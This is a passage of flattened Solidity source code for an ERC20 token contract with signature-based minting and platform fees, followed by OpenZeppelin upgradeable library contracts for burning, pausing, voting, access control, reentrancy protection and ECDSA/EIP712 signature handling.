address saleRecipient = _req.primarySaleRecipient == address(0)
? primarySaleRecipient
: _req.primarySaleRecipient;
collectPrice(saleRecipient, _req.currency, _req.price);
_mintTo(receiver, _req.quantity);
emit TokensMintedWithSignature(signer, receiver, _req);
}
/// @dev Lets a module admin set the default recipient of all primary sales.
function setPrimarySaleRecipient(address _saleRecipient) external onlyRole(DEFAULT_ADMIN_ROLE) {
primarySaleRecipient = _saleRecipient;
emit PrimarySaleRecipientUpdated(_saleRecipient);
}
/// @dev Lets a module admin update the fees on primary sales.
function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
require(_platformFeeBps <= MAX_BPS, "bps <= 10000.");
platformFeeBps = uint64(_platformFeeBps);
platformFeeRecipient = _platformFeeRecipient;
emit PlatformFeeInfoUpdated(_platformFeeRecipient, _platformFeeBps);
}
/// @dev Returns the platform fee bps and recipient.
function getPlatformFeeInfo() external view returns (address, uint16) {
return (platformFeeRecipient, uint16(platformFeeBps));
}
/// @dev Collects and distributes the primary sale value of tokens being claimed.
function collectPrice(
address _primarySaleRecipient,
address _currency,
uint256 _price
) internal {
if (_price == 0) {
return;
}
uint256 platformFees = (_price * platformFeeBps) / MAX_BPS;
(address twFeeRecipient, uint256 twFeeBps) = thirdwebFee.getFeeInfo(address(this), FeeType.PRIMARY_SALE);
uint256 twFee = (_price * twFeeBps) / MAX_BPS;
if (_currency == CurrencyTransferLib.NATIVE_TOKEN) {
require(msg.value == _price, "must send total price.");
}
CurrencyTransferLib.transferCurrency(_currency, _msgSender(), platformFeeRecipient, platformFees);
CurrencyTransferLib.transferCurrency(_currency, _msgSender(), twFeeRecipient, twFee);
CurrencyTransferLib.transferCurrency(
_currency,
_msgSender(),
_primarySaleRecipient,
_price - platformFees - twFee
);
}
/// @dev Mints `amount` of tokens to `to`
function _mintTo(address _to, uint256 _amount) internal {
_mint(_to, _amount);
emit TokensMinted(_to, _amount);
}
/// @dev Verifies that a mint request is valid.
function verifyRequest(MintRequest calldata _req, bytes calldata _signature) internal returns (address) {
(bool success, address signer) = verify(_req, _signature);
require(success, "invalid signature");
require(
_req.validityStartTimestamp <= block.timestamp && _req.validityEndTimestamp >= block.timestamp,
"request expired"
);
minted[_req.uid] = true;
return signer;
}
/// @dev Returns the address of the signer of the mint request.
function recoverAddress(MintRequest calldata _req, bytes calldata _signature) internal view returns (address) {
return _hashTypedDataV4(keccak256(_encodeRequest(_req))).recover(_signature);
}
/// @dev Resolves 'stack too deep' error in `recoverAddress`.
function _encodeRequest(MintRequest calldata _req) internal pure returns (bytes memory) {
return
abi.encode(
TYPEHASH,
_req.to,
_req.primarySaleRecipient,
_req.quantity,
_req.price,
_req.currency,
_req.validityStartTimestamp,
_req.validityEndTimestamp,
_req.uid
);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "not pauser.");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "not pauser.");
_unpause();
}
/// @dev Sets contract URI for the storefront-level metadata of the contract.
function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) {
contractURI = _uri;
}
function _msgSender()
internal
view
virtual
override(ContextUpgradeable, ERC2771ContextUpgradeable)
returns (address sender)
{
return ERC2771ContextUpgradeable._msgSender();
}
function _msgData()
internal
view
virtual
override(ContextUpgradeable, ERC2771ContextUpgradeable)
returns (bytes calldata)
{
return ERC2771ContextUpgradeable._msgData();
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.11;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "../IThirdwebContract.sol";
import "../IThirdwebPlatformFee.sol";
import "../IThirdwebPrimarySale.sol";
interface ITokenERC20 is IThirdwebContract, IThirdwebPrimarySale, IThirdwebPlatformFee, IERC20Upgradeable {
/**
* @notice The body of a request to mint tokens.
*
* @param to The receiver of the tokens to mint.
* @param primarySaleRecipient The receiver of the primary sale funds from the mint.
* @param quantity The quantity of tpkens to mint.
* @param price Price to pay for minting with the signature.
* @param currency The currency in which the price per token must be paid.
* @param validityStartTimestamp The unix timestamp after which the request is valid.
* @param validityEndTimestamp The unix timestamp after which the request expires.
* @param uid A unique identifier for the request.
*/
struct MintRequest {
address to;
address primarySaleRecipient;
uint256 quantity;
uint256 price;
address currency;
uint128 validityStartTimestamp;
uint128 validityEndTimestamp;
bytes32 uid;
}
/// @dev Emitted when an account with MINTER_ROLE mints an NFT.
event TokensMinted(address indexed mintedTo, uint256 quantityMinted);
/// @dev Emitted when tokens are minted.
event TokensMintedWithSignature(address indexed signer, address indexed mintedTo, MintRequest mintRequest);
/// @dev Emitted when a new sale recipient is set.
event PrimarySaleRecipientUpdated(address indexed recipient);
/// @dev Emitted when fee on primary sales is updated.
event PlatformFeeInfoUpdated(address platformFeeRecipient, uint256 platformFeeBps);
/**
* @notice Verifies that a mint request is signed by an account holding
* MINTER_ROLE (at the time of the function call).
*
* @param req The mint request.
* @param signature The signature produced by an account signing the mint request.
*
* returns (success, signer) Result of verification and the recovered address.
*/
function verify(MintRequest calldata req, bytes calldata signature)
external
view
returns (bool success, address signer);
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mintTo(address to, uint256 amount) external;
/**
* @notice Mints an NFT according to the provided mint request.
*
* @param req The mint request.
* @param signature he signature produced by an account signing the mint request.
*/
function mintWithSignature(MintRequest calldata req, bytes calldata signature) external payable;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../utils/ContextUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {
function __ERC20Burnable_init() internal onlyInitializing {
}
function __ERC20Burnable_init_unchained() internal onlyInitializing {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
_spendAllowance(account, _msgSender(), amount);
_burn(account, amount);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Pausable.sol)
pragma solidity ^0.8.0;
import "../ERC20Upgradeable.sol";
import "../../../security/PausableUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeable is Initializable, ERC20Upgradeable, PausableUpgradeable {
function __ERC20Pausable_init() internal onlyInitializing {
__Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal onlyInitializing {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
import "./draft-ERC20PermitUpgradeable.sol";
import "../../../utils/math/MathUpgradeable.sol";
import "../../../governance/utils/IVotesUpgradeable.sol";
import "../../../utils/math/SafeCastUpgradeable.sol";
import "../../../utils/cryptography/ECDSAUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
*
* _Available since v4.2._
*/
abstract contract ERC20VotesUpgradeable is Initializable, IVotesUpgradeable, ERC20PermitUpgradeable {
function __ERC20Votes_init() internal onlyInitializing {
}
function __ERC20Votes_init_unchained() internal onlyInitializing {
}
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCastUpgradeable.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual override returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view virtual override returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view virtual override returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = MathUpgradeable.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual override {
_delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSAUpgradeable.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCastUpgradeable.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCastUpgradeable.toUint32(block.number), votes: SafeCastUpgradeable.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[47] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal onlyInitializing {
}
function __AccessControlEnumerable_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view virtual override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view virtual override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal onlyInitializing {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal onlyInitializing {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
/**
* @dev This empty reserved space is put in place to allow future versions to add new
* variables without shifting down storage in the inheritance chain.
* See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps
*/
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../StringsUpgradeable.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSAUpgradeable {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", StringsUpgradeable.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSAUpgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712Upgradeable is Initializable {
/* solhint-disable var-name-mixedcase */
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
function __EIP712_init(string memory name, string memory version) internal onlyInitializing {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal onlyInitializing {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
